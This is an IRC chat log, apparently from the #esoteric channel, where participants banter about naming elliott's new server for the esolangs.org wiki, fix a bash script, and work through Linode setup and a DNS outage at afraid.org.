19:51:18 <kallisti> professionaloctopusoftheworld.com
19:51:23 <oerjan> if that isn't esoteric i don't know what is
19:51:23 <elliott> Ohhh, apeiron is one of the people in those Ruby channels.
19:51:27 <elliott> That's why it sounds familiar.
19:51:40 <elliott> OK zenith or solidity voting starts NOW.
19:51:52 <Friendship> Are you kidding me? These are both the worst of all possible names.
19:51:58 <shachaf> @poll-add elliott_server_name
19:51:58 <lambdabot> Added new poll: "elliott_server_name"
19:52:07 <shachaf> @option-add elliott_server_name zenith
19:52:14 <lambdabot> poll provides: poll-list poll-show poll-add choice-add vote poll-result poll-close poll-remove
19:52:20 -!- fungot has joined.
19:52:22 <shachaf> @choice-add elliott_server_name zenith
19:52:22 <lambdabot> New candidate "zenith", added to poll "elliott_server_name".
19:52:24 <shachaf> @choice-add elliott_server_name solidity
19:52:24 <lambdabot> New candidate "solidity", added to poll "elliott_server_name".
19:52:26 <fizzie> fungot: Name for elliott's server, please.
19:52:27 <fungot> fizzie: seen enigma? me, codeburnt?"?
19:52:30 <shachaf> @vote elliott_server_name zenith
19:52:43 <kallisti> @choice-add elliott_server_name professionaloctopusoftheworld.com
19:52:43 <lambdabot> New candidate "professionaloctopusoftheworld.com", added to poll "elliott_server_name".
19:52:45 <fizzie> There you go, "codeburnt".
19:52:54 <elliott> http://codespeak.net/cliki.tunes.org/codeburnt.html
19:53:06 <fungot> Friendship: i wait with bated breath", by the way, were you also interested in my perceived problems with the java server vm. they aren't dynamically scoped. you use the rule for it
19:53:29 <fizzie> Well, everyone's *some* dude.
19:53:49 <fizzie> fungot: How about something more original: Why must you always just ape others?
19:53:50 <fungot> fizzie: but perhaps dr. frankenstein was actually swiss...), list'1 (... neg-list1...) and then couldn't understand what ' commercial' here is the spec? or interpreters?
19:53:52 <Friendship> kallisti: Obviously he has some kind of *problem* with randomly-generated words.
19:54:00 <HackEgo> tulaen bilin ambeza modi ighbora eftide broot deute ree thod chloe bro krabulati instro durma buch earlon magib hyposschckcoundei phlettefu amef pacilled pence courany qui
19:54:02 <HackEgo> diptovsmic kcolong aurobeje isden afragge bour lingig unworke bookite chadr hebbe mans diation inta weenen proconveu diren vallie maia barru meth comp dum comesvill patrite
19:54:03 <HackEgo> juuriment conrothet rated ancheuer dam deep myllium thut undesii cons paiace hum misshium omni death jambe iin codium larelit hoke nepha notf straisoo cavainequia pvz
19:54:03 <HackEgo> lent ben iilo raterciz addein foagham drawed bore montio agita coaunsnr majot macoved rised ranz kance clava cable koor icseph curtl lico flusor lacite rochrcelric
19:54:26 <kallisti> @choice-add elliott_server_name meth
19:54:26 <lambdabot> New candidate "meth", added to poll "elliott_server_name".
19:54:34 <kallisti> @choice-add elliott_server_name bro
19:54:34 <lambdabot> New candidate "bro", added to poll "elliott_server_name".
19:54:36 <elliott> @poll-remove elliott_server_name
19:54:37 <lambdabot> Poll should be closed before you can remove it.
19:54:39 <itidus20> @choice-add elliott_server_name fsvoesolang.com
19:54:39 <lambdabot> New candidate "fsvoesolang.com", added to poll "elliott_server_name".
19:54:41 <elliott> @poll-close elliott_server_name
19:54:41 <lambdabot> Poll "elliott_server_name" closed.
19:54:42 <elliott> @poll-remove elliott_server_name
19:54:42 <lambdabot> poll "elliott_server_name" removed.
19:56:44 <itidus20> rochrcelric is so close to being = rochr cleric
19:57:57 <lambdabot> ["ConfusedWithVixenSituation","best-programming-language","food","naming","president","remove@src","sleep"]
19:58:06 <tswett> Everything should be named after a county in Michigan. Schoolcraft is a county in Michigan. Therefore, everything should be named "Schoolcraft".
19:58:55 <kallisti> schoolcraft sounds like some kind of educational game that's a knockoff of (war|star)craft
19:58:55 <oerjan> sorry, but we have already established that the best county name is "finnmark".
19:59:25 <kallisti> worldofschoolcraft is the associated MMO
19:59:26 <Friendship> kallisti: I was thinking educational Minecraft.
19:59:30 <tswett> Huh. Wikipedia says that a lot of Michigan's counties' names were just made up by one person.
19:59:36 -!- Friendship has changed nick to Gregor.
19:59:36 <tswett> That person happens to be Henry Schoolcraft.
19:59:59 <fizzie> @poll-result president
19:59:59 <lambdabot> Poll results for president (Open): copumpkin=3
20:00:22 <Gregor> @poll-results best-programming-language
20:00:23 <lambdabot> Poll results for best-programming-language (Open): PHP=1, Coq=0, Agda=0, anything-else=0, Haskell=0
20:00:27 <elliott> <oerjan> sorry, but we have already established that the best county name is "finnmark".
20:00:35 <Gregor> @choice-add best-programming-language COBOL
20:00:35 <lambdabot> New candidate "COBOL", added to poll "best-programming-language".
20:00:40 <Gregor> @vote best-programming-language COBOL
20:00:53 <elliott> finnmark would be too confusing.
20:01:11 <Gregor> Esp. seeing as how sourcereal is zzo's
20:01:13 <elliott> Gregor: Anyway, you've yet to propose anything better than zenith or solidity.
20:01:37 <Gregor> Those are both so bad that random strings of characters are almost assured to be better.
20:01:41 <Gregor> Hence, sexyliccipie is better.
20:02:46 <oerjan> since that's what we are rapidly approaching here
20:03:14 <Gregor> kallisti: No, but it's better than random.
20:04:04 -!- Gregor has set topic: http://codu.org/logs/_esoteric/ | Resistance is sexyliccipie, thus voltage is kink times currant. | Electric buns, all the rage..
20:05:28 <elliott> It's like you all WANT the Esolang wiki to be overrun with spam!
20:05:45 <oerjan> Y U NO LIKE OUR SUGGESTIONS
20:05:46 <shachaf> elliott: I run a pastebin. How do I make it not be filled with spam?
20:06:15 <fizzie> I had a box called 'random' once.
20:06:19 <shachaf> I want to do minimal work.
20:06:23 <shachaf> The pastebin is one short script in Perl.
20:06:27 <kallisti> shachaf: bayesian filter library dawg
20:06:46 <shachaf> It handles concurrency by writing out a lock file containing the last paste id.
20:07:01 <kallisti> shachaf: http://search.cpan.org/~kwilliams/Algorithm-NaiveBayes-0.04/lib/Algorithm/NaiveBayes.pm
20:07:06 <elliott> <shachaf> elliott: I run a pastebin. How do I make it not be filled with spam?
20:07:13 <elliott> shachaf: Cptppatpaptaptaptpatcha?
20:07:14 <fizzie> No web-form for submitting pastes sounds like a spam-free solution.
20:07:23 <elliott> shachaf: I bet you're only ironically proposin zenith. :(
20:07:26 <elliott> fizzie: Let me guess, h2g2?
20:07:35 <shachaf> I just want spammers not to care. :-(
20:08:03 <fizzie> elliott: Your guess, it is correct.
20:08:04 <kallisti> shachaf: http://search.cpan.org/~kwilliams/Algorithm-NaiveBayes-0.04/lib/Algorithm/NaiveBayes.pm
20:08:31 <kallisti> sudo cpan Algorithm::NaiveBayes
20:08:52 <kallisti> our $bayes = Algorithm::NaiveBayes->new;
20:10:24 <kallisti> so each time you get a paste you add an instance,
20:11:07 <shachaf> That means, like, state and stuff, right?
20:11:09 <elliott> Thus training the filter that every single paste is not spam.
20:11:19 * oerjan is wondering what the heck elliott wants from a name
20:11:31 * kallisti knows what elliott wants from a name.
20:11:38 <kallisti> shachaf: and yes that's state and stuff
20:11:50 <kallisti> This object method saves the object to disk for later use. The $path argument indicates the place on disk where the object should be saved:
20:12:11 <kallisti> shachaf: the object handles the state stuff for you.
20:12:16 <tswett> elliott: you're looking for the name of a server?
20:12:23 <elliott> shachaf: A captcha is minimal work.
20:12:29 <kallisti> shachaf: you'll need some way to manually designate spam, or have a huge dataset of existing spam to train it.
20:12:29 <elliott> "Please enter 'aargh': [ ]"
20:12:37 <elliott> If they start solving that, then... do something else.
20:12:49 <oerjan> elliott: "singularity"
20:12:55 <elliott> oerjan: No. These are all terrible.
20:12:59 <tswett> elliott: "gladwin". This is my only suggestion.
20:13:08 <elliott> It should have basically no relevant meaning or conntoation apart from being a pretty name.
20:13:18 <elliott> tswett: Thank you for you contribution to the pile of rejected names!
20:13:31 <tswett> I regret to inform you that I will not be contributing further.
20:13:43 <kallisti> elliott wants something that a) conveys intelligence b) is minimal c) is short d) has a strong impact when read
20:13:44 <shachaf> elliott: The script is 80 lines.
20:13:56 -!- Ngevd has joined.
20:13:57 <itidus20> incidentally botproofwiki isn't taken.. but such a naming scheme is how i ended up with this monstrosity of a nickname
20:14:54 <elliott> itidus20: It will be at esolangs.org.
20:15:00 <elliott> I'm just naming the internal server name.
20:15:04 <elliott> kallisti: "pyralspite" isn't short.
20:15:32 <kallisti> Ngevd: so maybe for like a few days you should train it on a bunch of spam email that you get
20:15:53 <kallisti> Ngevd: otherwise you'd want a report spam feature which is likely more complicated than you want.
20:16:33 <tswett> Actually, I already know of another server named Zenith.
20:16:38 <elliott> oh you were just voting to equalise them
20:16:50 <kallisti> elliott: you've got mine and itidus20's vote on solidity, so you know it's got to be good.
20:17:06 <shachaf> I recommend whatever kallisti doesn't vote for.
20:17:31 <itidus20> i like the matrix of solidity reference.. otherwise the name solidity wouldn't mean much to me
20:18:23 <kallisti> solidity to me sounds pretty, also matrix of solidity reference.
20:18:37 <elliott> solidity.org is also taken.
20:19:25 -!- Slereah has quit (Ping timeout: 244 seconds).
20:19:27 <elliott> Every second you waste is a second Timwi gains in this race.
20:19:57 <elliott> oerjan: No, but I'm paranoid enough to think there is.
20:21:16 <tswett> Indeed, solidi.ty seems to not exist.
20:21:47 <elliott> MAYBE BECAUSE .TY DOESN'T EXIST YOU FUCKING MORONS
20:22:42 <Ngevd> If we know someone in the US intelligence community, we can get esoter.ic.gov
20:22:43 <fizzie> elliott: But it's just a $100k for you to apply for that TLD, or however it went.
20:22:47 <Sgeo> Force me to do my homework!
20:22:55 -!- Ngevd has quit (Quit: dinner).
20:23:59 <kallisti> > me to do my homework `seq` launchMissiles Sgeo
20:24:00 <lambdabot> <no location info>: parse error on input `do'
20:24:01 <fizzie> .ic is not a TLD according to IANA.
20:24:09 <fizzie> But what do they know.
20:24:33 <tswett> Sgeo: we can do this the easy way, or the hard way. This is the hard way. ::::)
20:24:34 <oerjan> elliott: i have no f idea what you would consider better than all those suggested so far.
20:24:47 -!- elliott has left ("Leaving").
20:25:11 <tswett> Okay, the best name is "schemck".
20:25:31 <fizzie> "Phlegm" is a good name.
20:25:38 <fizzie> Also less words, please.
20:25:52 <fizzie> I don't want to try quiet the bot with this phone.
20:25:57 <HackEgo> can't open share/WordData/Eng1M: No such file or directory at /hackenv/bin/words line 104
20:26:03 <tswett> `words 49 `words 49 `words 49 `words 49
20:26:12 <HackEgo> rem ina clen cymiai pistint cuverdrogene mily apply dogpea nonded anxure rymer tashano waj iaulten apanie ron retica appa powet baquivi miscrift unloa cabareli straudi
20:26:21 <tswett> > hey lambdabot can you hear me
20:26:28 <lambdabot> Not in scope: `how'Not in scope: `about'Not in scope: `now'
20:26:31 <HackEgo> sublim tka zijl testen coight sula brtspendum eonf allergo achere moda shci quida celr fruinepi crea aflor reven celler dude chenyi circum dici coedat tvn
20:26:33 <HackEgo> ivbouver witheate thervi int rog com ebuken deatum effret trippea swandcutio disiti juria veranting birtur eansol ten belasti soff forca herk iklime wire man jncephla
20:26:33 <HackEgo> toir bintura enamnanc fen potruj cereb lor unjectit greeompu kosto dna vermoldstr psychirick dition bestyle loeweggina tigm conter reetmirarma meri oroning pon condt knably palentiqui
20:26:34 <HackEgo> canal und ore falcai lehide ludto monta weslo moldine befor aradiite wire iea gymnof mor low nvly unprae unden zersterto kal himsenste saeva ance puhl
20:26:34 <HackEgo> charr bathalf ehobemed dat zib fayc sked bed galistrugh lucg the tiiiati ouchipenny jume ptint new herin tel may ssimn wolfi hab yunkarm affive greeritted
20:26:57 <tswett> "dogpea". HackEgo has spoken.
20:27:25 <itidus20> www.bing.com/images/search?q="enjoy+being+locked+in+your+matrix+of+solidity"
20:27:29 <tswett> I actually like "rift". "miscrift" is... worse. "allergo" is either a misspelling or a portmanteau.
20:27:42 <itidus20> hmm that didn't quite work right
20:28:09 <fizzie> How is +q even applied? Is +q nick enough, or does one need +q nick!* or something? (Just wondering.)
20:28:39 <oerjan> fizzie: i generally do /msg chanserv quiet #esoteric nick
20:29:23 <fizzie> I tried to make chanserv do some channel-mode things, but it was so confuzzle.
20:29:51 -!- sebbu2 has joined.
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20:29:51 -!- sebbu2 has joined.
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20:30:22 * oerjan wonders if elliott rageparted or if he actually accepted "sheesh"
20:30:32 <shachaf> oerjan: He's still undecided.
20:31:02 <itidus20> forgetting my previous link... i find this quite amusing http://www.bing.com/images/search?q=enjoy+being+locked+in+your+matrix+of+solidity&view=detail
20:31:22 <fizzie> Anyway, it's not "just" +q nick, I distinctly recall it supporting both the nick!user@host thing as well as the account/realname synttax; all I wondered was whether it does plain nick too.
20:31:45 <oerjan> fizzie: i assume it's the same syntax as for bans?
20:32:30 <tswett> > Man, I feel so powerful right now.
20:32:30 <oerjan> itidus20: he didn't quit, he parted.
20:32:35 <fizzie> Yes, in which case (discounting client assistance, as well as speaking for ircnet only) you needed to do nick!* to do a nick-based ban.
20:32:38 <tswett> > I have the power to make bots ignore me.
20:32:47 <lambdabot> <no location info>: parse error (possibly incorrect indentation)
20:33:15 -!- Ngevd has joined.
20:35:03 -!- ChanServ has set channel mode: +q *!*@a91-152-37-146.elisa-laajakaista.fi.
20:35:14 -!- ChanServ has set channel mode: -q *!*@a91-152-37-146.elisa-laajakaista.fi.
20:35:36 <fizzie> Well, as done by chanserv it's host-based, when given a nick.
20:35:54 -!- Chef_ has quit (Remote host closed the connection).
20:36:26 <fizzie> That seems slightly overreaching; I wonder if it's more complicated.
20:36:37 -!- ChanServ has set channel mode: +o fizzie.
20:36:46 -!- fizzie has set channel mode: +q fungot!*@*.
20:37:14 <fizzie> Hmm'k, plain "+q nick" does turn into nick!*@*.
20:37:31 -!- fizzie has set channel mode: -q fungot!*@*.
20:37:39 -!- fizzie has set channel mode: -o fizzie.
20:38:53 <fizzie> I have a vague feeling that the IRCnet ircd is not so helpful, though that could be worng.
20:39:43 * Sgeo was going to put an Airplane reference in his homework, but "And Leon's getting larger" might not be such a great idea considering that my professor is a bit on the heavy side.
20:40:28 <kallisti> Sgeo: does he also have a drinking problem?
20:40:30 <fizzie> Is his name also Leon?
20:40:46 <Sgeo> His name is not Leon.
20:41:23 <Ngevd> I still need to see Airplane 2
20:41:30 <oerjan> Sgeo: you picked the wrong day to quit making airplane references
20:43:10 <Sgeo> I do not think he has a drinking problem, but ... isn't the trying to quit character not Leon?
20:43:37 <kallisti> I was just wondering if that could be referenced as well.
20:43:46 -!- Chef_ has joined.
20:47:12 <Ngevd> I've got them both on DVD
20:47:34 -!- Chef_ has quit (Remote host closed the connection).
20:51:02 * Sgeo blinks at his shitty code that he doesn't understand why it doesn't work
20:51:35 <olsner> Sgeo: throw it out and rewrite it
20:52:02 <Sgeo> http://pastie.org/private/00rabxy1f0g8tvucymiq
20:52:11 <Sgeo> It always does the days are getting longer
20:52:31 <Sgeo> Oh, it does in fact say while, the missing w is a mispaste
20:53:59 -!- elliott has joined.
20:54:47 <Sgeo> olsner, the instructions say to use if
20:54:51 <fizzie> Sgeo: You need some spaces in there if you want it like that.
20:55:03 <fizzie> "$season" == "foo" and so on.
20:55:22 <elliott> oerjan: Soliloquys are for losers.
20:55:32 <Sgeo> Thank you, that works.
20:55:33 <fizzie> (Also there's an "elif" to get rid of the fi-fi-fi-fi.)
20:55:47 -!- Chef_ has joined.
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20:56:07 <olsner> also, putting each then on a new line is ugly, use "if ...; then" instead
20:56:46 <Sgeo> I did that at first, then as a poorly-thought out attempt to fix stuff, put then on a separate line
20:57:14 <Sgeo> Bash is bizarre enough that spaces surrounding == might make a difference, why wouldn't it be bizzare enough to have weird issues everywhere?
20:57:25 <Sgeo> Bash scares and confuses me.
20:57:54 -!- NihilistDandy has quit (Client Quit).
20:58:19 <elliott> Now consider foo = "=xyz".
20:58:20 -!- Ngevd has quit (Read error: Connection reset by peer).
20:58:21 <elliott> Now consider foo = "==xyz".
20:58:34 <olsner> oerjan: tettegress? audhumbla?
20:58:41 <olsner> are these actual words for you?
20:58:52 <Sgeo> elliott, and the spacing makes it a comparison instead?
20:58:56 <elliott> itidus20: It's not a domain name.
20:58:56 -!- Ngevd has joined.
20:59:01 <olsner> and kvitlauk is... garlic?
20:59:02 <elliott> Sgeo: You appear to be confused about how shell arguments work.
20:59:34 <fizzie> To be fair, it's also a builtin in bash.
20:59:41 <shachaf> elliott: I gave you some great hostnames.
21:00:02 <elliott> oerjan: Also I have to be able to pronounce them.
21:00:12 <elliott> And type them, for that matter.
21:00:15 <Sgeo> in analogy with pyralsprite... it's pyralspite isn't it?
21:00:17 <shachaf> elliott is under the mistaken impression that getting *more* suggestions will make this decision process *easier*.
21:00:21 <shachaf> That's exactly backwards, elliott.
21:00:32 <olsner> elliott: what is the name for?
21:00:39 <shachaf> You're not going to find *any* suggestion that will just strike you as "oh, this is the right name!".
21:00:52 <elliott> shachaf: That's what happened all the previous times. :(
21:00:58 <elliott> olsner: The server esolangs.org is going to be on.
21:01:13 <Sgeo> You can't use the domain name?
21:01:19 <elliott> It is not going to only be esolangs.org.
21:01:35 <shachaf> elliott: Just pick a name.
21:02:38 <oerjan> elliott: hey several of those are easy to pronounce!
21:02:41 <elliott> tswett: So what is that server called zenith?
21:02:58 <shachaf> elliott: You had "zenith" and "solidity".
21:03:04 <olsner> oerjan: what's naudsynt?
21:03:15 <elliott> shachaf: But you hate "solidity".
21:03:33 <shachaf> I'm locked in a matrix of solidity.
21:03:39 -!- amca has joined.
21:03:50 <shachaf> I hate all these questions even more than I do "solidity".
21:03:57 <tswett> elliott: I think you are asking about zenith. zenith is elliott's server.
21:04:01 <shachaf> In fact who said I hate "solidity"?
21:04:10 <elliott> shachaf: You said that. I think.
21:04:24 <oerjan> olsner: it's nynorsk btw, bokmål is "nødvendig"
21:04:27 <elliott> tswett: You said you already knew a server named zenity that is not elliott's server.
21:04:52 <tswett> elliott: oh, that one! zenith.homelinux.net, Ed Murphy's.
21:05:10 <elliott> OK, I'll go with solidity then.
21:05:16 <elliott> Thanks for your input, oerjan! I ignored it.
21:05:33 <itidus20> elliott: it may genuinely help to get drunk during the application process...
21:05:55 <oerjan> elliott: that'll be 50 pounds
21:05:58 <elliott> I think me being drunk would be something IRC does not need to experience.
21:06:11 <shachaf> I thought that's the only thing IRC experiences.
21:06:18 <shachaf> 13:06 < elliott> Maybe I'll call it "apathy".
21:06:23 <itidus20> the perfect remedy for indecision
21:06:26 -!- Ngevd has quit (Ping timeout: 248 seconds).
21:06:32 <fizzie> At least it should be something the IRC should not be responsible for.
21:08:11 <elliott> Can someone ping 2a01:7e00::f03c:91ff:fedf:9fdd?
21:08:19 <fizzie> Sorry, I can't come to the movie; I'm suffering from apathy of the flesh.
21:08:30 <kallisti> elliott: no sorry I can only ping matrixofsolidity.com
21:08:56 <fizzie> 58 ms to 2a01:7e00::f03c:91ff:fedf:9fdd from my home.
21:09:44 <elliott> I like how I now get 80-90 ms ping.
21:10:14 <fizzie> In other news, 91ff:fedf:9fdd is too nine-one-dee-ee-ef-fy.
21:10:17 * oerjan realizes that 58 ms is less than what's physically possible from some places on earth
21:10:20 <itidus20> i just blindly assumed i had it :D
21:10:35 <fizzie> oerjan: FTL NEUTRINOS, MAN?
21:10:41 <elliott> "solidity" is hard to type. :(
21:10:41 -!- Chef_ has quit (Remote host closed the connection).
21:11:02 <kallisti> because I have the best typing stylez
21:11:04 <elliott> fizzie: Hey, what kernel is Debian testing on?
21:11:37 <fizzie> elliott: Uh, what was the name of testing again? I have a feeling I might be on stable these days.
21:13:04 <fizzie> 3.2.4, says a packages.debian.org search on 'testing' + 'linux-image'.
21:13:25 <fizzie> (Three point anything looks *so weird*.)
21:15:00 <elliott> fizzie: Should I make my Linode use 3.2 or stick on 3.0? :(
21:15:28 <fizzie> I think you should use Linux 3.11 for Workgroups.
21:16:50 <olsner> http://blogs.sweden.se/expat/2011/10/09/14-swedish-words-that-give-me-the-giggles/ has some nice words
21:17:00 <fizzie> Well, .18 > .1, but the holes they find tend to be "since Linux 0.Noah" anyway, and of course bugs there aren't; so many eyeballs and all that.
21:17:13 -!- SchrodingersCat has joined.
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21:17:49 <fizzie> Or at least the bugs are shallow and only think about how good they look. I think that was also one of the maxims.
21:18:41 <oerjan> "lagom" may not be such a good name for a server.
21:18:48 <olsner> elliott: did you decide on matrix of solidity dot com?
21:19:22 <fizzie> oerjan: On the other hand, "mogla" doesn't sound too bad.
21:19:48 <fizzie> (I can't reverse a string.)
21:19:58 <SchrodingersCat> Gregor, Sgeo, tswett, et al: I can't log on to sine...please help...
21:20:12 <elliott> olsner: It's not a domain.
21:20:25 -!- Taneb has joined.
21:20:26 <olsner> mögla is verbed mildew
21:20:46 <tswett> SchrodingersCat: from here, it looks like you already have.
21:20:46 <elliott> fizzie: WHICH IS BETER, HELP,
21:21:02 <fizzie> "moka" is mistake, colloquially.
21:22:16 <fizzie> elliott: I really no sysadmin. If going with Debian testing, I'd just go with 3.2 if that's what they've defaulted "linux-image" to. But is that the disturbbion you're going with?
21:22:26 <elliott> fizzie: Yes, it's Debian testing.
21:22:34 <elliott> fizzie: But you select the kernel separately in the Linode manager thing, since it's all Xenny.
21:22:55 <elliott> Though you *can* use pv-grub.
21:23:42 <fizzie> Well, I suppose 3.2 might still match Debian testing better, if that's what they're doing all their building on, and so forth.
21:24:42 <elliott> Okay, I have "the 'slid" set up.
21:24:52 <elliott> I suppose I should add myself an "account".
21:25:08 <elliott> Did you know this thing upgrades at 7 Mio/s, fizzie?
21:25:27 <elliott> Also, which is the nice one, adduser or useradd?
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21:27:47 <fizzie> The latter is the more "commandy" one, the former is the slightly "wizardy" one.
21:27:59 <fizzie> Asks questions and so on.
21:28:09 <elliott> quintopia: Did you LIE to me?
21:28:17 <elliott> I want one that lets me set the realname and copies a home directory in.
21:28:37 <quintopia> well, i had a fifty-fifty chance of not lying
21:29:47 <fizzie> adduser, then; though useradd also does the homedir with... I think -k.
21:30:02 <elliott> -k, --skel SKEL_DIR use this alternative skeleton directory
21:30:25 <elliott> Adding user `elliott' to group `sudo' ...
21:30:25 <elliott> Adding user elliott to group sudo
21:30:34 <oerjan> that -k sounds more for killing users
21:30:35 <fizzie> Well, maybe it was some other flag.
21:30:44 <shachaf> The skeleton in the cupboard.
21:31:18 <fizzie> And -k to specify what to copy there.
21:33:24 <fizzie> Both do the "usergroups" thing, so it's mostly that adduser asks you things, while useradd wants you to specify options. And doesn't run 'chfn' for you. And maybe adduser does some other tricks too, I'unno.
21:36:38 <elliott> How can I try and ssh login with a password?
21:36:41 <elliott> i.e. reject key-based login
21:37:19 <fizzie> Uh, some option, or maybe with "-i /dev/null" as a kludge.
21:37:47 <elliott> Enter passphrase for key '/dev/null':
21:38:24 <quintopia> ssh without a key set up should default to password
21:38:25 <shachaf> elliott: Misenter a passphrase.
21:38:44 <elliott> shachaf: It just demands one continually.
21:38:49 <elliott> quintopia: I have a key set up.
21:38:56 <fizzie> "-O PreferredAuthentications=password" maybe.
21:39:16 <elliott> Invalid multiplex command.
21:39:17 <fizzie> Or -O PubkeyAuthentication=no.
21:39:25 <elliott> Invalid multiplex command.
21:40:06 <elliott> OK, I'll set up the suh-vuh now and email Graue.
21:43:25 <elliott> http://li278-81.members.linode.com/
21:45:16 <kallisti> hm, are there compiler implementations of any dynamically typed languages?
21:46:16 <shachaf> elliott: What did you name the machine?
21:47:10 <elliott> It starts with an s and ends with an olidity.
21:47:58 <zzo38> There are many existing TeX->webpage programs but none of them work, except for the one I wrote. Why is that?
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21:50:11 <elliott> │ While not mandatory, it is highly recommended that you set a password for │
21:50:11 <elliott> │ the MySQL administrative "root" user.
21:51:20 <shachaf> Your password should be "password".
21:51:37 -!- Taneb has quit (Ping timeout: 240 seconds).
21:52:41 <zzo38> If you hate it then don't set a password; it says it is not mandatory. But first please check in case there are security holes
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22:06:39 <zzo38> Do you know how to write MediaWiki extensions?
22:06:57 -!- sebbu has quit (Ping timeout: 240 seconds).
22:07:53 -!- NihilistDandy has joined.
22:08:43 <fizzie> I think you write them in Pretty Hyper Programming.
22:09:34 <itidus20> I'm sort of but mostly not working on an English to brainfuck interpreter.
22:10:04 <itidus20> actually saying that kind of solidifies the idea a bit
22:16:54 -!- zbrown has joined.
22:18:17 <itidus20> . o O ( Increment the cell seven times. Go to the next cell. Write a value into the cell. Go to the previous cell. Read a value from the cell. Move four cells to the right. )
22:19:07 <itidus20> but [ and ] i wouldn't find so easy
22:19:26 <fizzie> . o O ( Listen to Phantom_Hoover complain about creating a new Brainfuck derivative. )
22:24:29 <elliott> fizzie: Does Finland have 7 Mio/s connections?
22:28:55 <fizzie> 2012-02-17 00:28:36 (78.7 MB/s) - `ubuntu-11.10-desktop-amd64.iso' saved [731164672/731164672]
22:29:10 <fizzie> (Okay, that wasn't exactly at home.)
22:30:20 <fizzie> It was also practically to next door; I think CSC's Ubuntu mirror is also in Otaniemi.
22:30:44 -!- FireFly has quit (Changing host).
22:31:48 <fizzie> I get 0.5 ms ping replies from it.
22:33:04 <itidus20> Phantom_Hoover: i am genuinely curious though to what extent it is possible to do computation with natural languages without converting it to numerals.
22:33:43 <fizzie> If it's in a computer, it's numbers.
22:33:54 <elliott> fizzie: You, like, totally support my effort, right? (I need a long list of names to impress Graue.)
22:34:22 <itidus20> yes but.. suppose i say.. "the number of tiles on a chessboard" when i mean 64
22:34:47 <itidus20> because you're not helping elliott
22:34:50 <fizzie> 2012-02-17 00:05:10 (6.70 MB/s) - `ubuntu-11.10-desktop-amd64.iso' saved [731164672/731164672]
22:35:01 <fizzie> That was at home. Rather horribbel.
22:35:05 <Phantom_Hoover> help what does elliott need help with why does he need it from me i suck at computers
22:35:26 <fizzie> I had to wait like two minuters for a CD.
22:36:03 <fizzie> Granted, I'm not much of a wiki-er, but from what I've seen by hanging out here, the spam is very spam.
22:36:14 <itidus20> english has a curious capacity to describe a number without using numerals
22:36:22 <elliott> fizzie: http://esoteric.voxelperfect.net/w/index.php?title=Special:Recentchanges&limit=500
22:36:25 <elliott> Draw your own conclusions, as they say.
22:36:53 <fizzie> Draw your own dick, like they say.
22:38:07 <elliott> http://www.mediawiki.org/wiki/MediaWiki_1.19/Roadmap
22:39:04 -!- oerjan has quit (Quit: Good night).
22:39:36 <itidus20> i should give it up.. i will sound retarded in the logs
22:41:33 <fizzie> (Also 6.7 Mio/s of net bytes over HTTP is rather nice, given that *8*2^20/10^6 says 56.2 Mb/s (+overhead), and the contract I'm paying for says it's limited to 50Mbps.)
22:43:49 -!- Slereah has joined.
22:44:29 <fizzie> I hope I don't have any tech-support-requiring issues, because with my luck they'd go all "hey your thing is ILLEGALLY FAST". (Though maybe I can claim that the "null Kallasjoki" they are talking about is my brother who just flew to Mombasa.)
22:44:50 <elliott> fizzie: What's the tar option for not preserving owner even as root?
22:50:34 <fizzie> I don't suppose the MediaWiki folks have e.g. "extricate the wikitext parser out of the morass so maybe we can have an actually defined syntax and other tools can also parse it" item on any sort of roadmap?
22:54:12 <elliott> fizzie: I believe they rewrote the parser recently.
22:54:23 <elliott> fizzie: I've actually wanted to write my own clean-room parser for it.
22:56:47 <fizzie> I think many people have wanted, and produced a big pile of half-finished droppings.
22:57:04 <elliott> fizzie: I don't think you know how *srs* I am about this want.
22:58:20 <fizzie> Probably as *srs* as [insert long-forgotten project here]!
23:00:34 <elliott> fizzie: The reason I want to write my own wikicode parser is because I do not want to run MediaWiki.
23:00:43 <elliott> The reason I do not want to run MediaWiki is that SEE THE PAST WEEK OF MY LIFE
23:00:49 <elliott> --2012-02-16 18:00:06-- http://esoteric.voxelperfect.net/favicon.ico
23:00:49 <elliott> Resolving esoteric.voxelperfect.net (esoteric.voxelperfect.net)... failed: Name or service not known.
23:00:49 <elliott> wget: unable to resolve host address `esoteric.voxelperfect.net'
23:00:57 <elliott> Same with esolangs.org. This on the Linode.
23:01:35 <fizzie> I don't doubt that has been the motivation of several of those other parser-writers, after some "quality time" with MediaWiki.
23:01:47 <elliott> How do you use dig(1), I've completely forgotten.
23:01:53 <fizzie> Candlelit dinners and so on.
23:02:10 <fizzie> dig @server name [type]
23:02:20 <fizzie> I suppose it defaults to "ANY".
23:02:31 <elliott> What if I want server to be the default DNS server?
23:02:50 <fizzie> Oh, right, @server is optional too.
23:03:05 <elliott> fizzie: What does esolangs.org resolve to?
23:04:38 <fizzie> Uh, it seems to not to.
23:04:54 <elliott> esoteric.voxelperfect.net?
23:05:12 <elliott> Aaagh I sure hope this paranoia is unfounded.
23:05:55 <fizzie> Host esoteric.voxelperfect.net not found: 3(NXDOMAIN)
23:06:06 <fizzie> That was at work, just for a change.
23:06:13 <elliott> OK, now I'm seriously worried.
23:06:32 <elliott> fizzie: esolangs.org and voxelperfect.net are owned and maintained by *different people*.
23:06:37 <elliott> Using different DNS servers.
23:06:47 <elliott> What could be going on without the coordination of the two?
23:06:51 <fizzie> I seem to have a cached 207.7.108.149 at home for esolangs.org.
23:07:26 <elliott> That was an actual question.
23:07:39 <fizzie> Both esolangs.org and voxelperfect.net seem to be on nsX.afraid.org.
23:07:58 <elliott> fizzie: Does the nameserver resolve?
23:08:18 <elliott> Please tell me there's a plausible explanation to this that doesn't involve whoever maintains the domains going in and changing the records.
23:09:40 <elliott> fizzie: That's not a plausible explanation.
23:09:53 <fizzie> Well, "afraid.org" itself is on multiple servers, so those do; but none of the ns[1-4].afraid.org seem to be answering to anything. (I seem to reall that being a general DNS place.)
23:10:14 <elliott> fizzie: OK, so is the most plausible explanation that the DNS hosts for it are down?
23:10:20 <fizzie> Yeah, it's one of those freedns places.
23:10:40 <fizzie> Yes, since they don't seem to be answering at all.
23:14:44 <fizzie> Their news page has some 16-hours-old post about ns1.afraid.org breaking down, but that the others continue; I guess it could've gotten worse.
23:14:52 -!- tzxn3 has quit (Quit: Leaving).
23:15:36 <elliott> Users may use afraid.org with Google, however there are some guidelines.
23:15:36 <elliott> First of all, afraid.org operates a separate set of DNS servers just for Google, which only Google can see.
23:15:36 <elliott> The official policy is this:
23:15:36 <elliott> 1) At around 4AM PST each night, the previous 24 hours worth of domain additions are made visible to Google. (subdomain edits and updates are instant).
